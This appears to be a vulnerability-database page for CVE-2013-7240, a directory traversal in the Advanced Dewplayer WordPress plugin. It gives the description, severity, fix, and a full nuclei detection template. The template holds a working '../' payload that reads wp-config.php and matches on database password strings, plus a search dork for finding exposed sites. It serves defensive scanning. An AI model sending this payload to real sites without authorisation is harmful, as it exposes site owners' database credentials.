HexBrain

Browse / CVEs / CVE-2013-7240

CVE-2013-7240· westerndeal / advanced dewplayer· CWE-22

WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal

mediumseverity
5CVSS score
19.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.

Impact

An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of sensitive information.

Fix

Update to the latest version of the Advanced Dewplayer plugin or remove it if it is not actively used.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" and "DB_HOST" and "The base configurations of the WordPress" AND status 200

Run it with nuclei: nuclei -id CVE-2013-7240 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2013-7240

info:
  name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version of the Advanced Dewplayer plugin or remove it if it is not actively used.
  reference:
    - https://www.exploit-db.com/exploits/38936
    - https://nvd.nist.gov/vuln/detail/CVE-2013-7240
    - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/
    - http://seclists.org/oss-sec/2013/q4/570
    - http://seclists.org/oss-sec/2013/q4/566
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-7240
    cwe-id: CWE-22
    epss-score: 0.19641
    epss-percentile: 0.97413
    cpe: cpe:2.3:a:westerndeal:advanced_dewplayer:1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: westerndeal
    product: advanced_dewplayer
    google-query: inurl:"/wp-content/plugins/advanced-dewplayer/"
  tags: cve,cve2013,wp-plugin,lfi,edb,seclists,wordpress,westerndeal,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from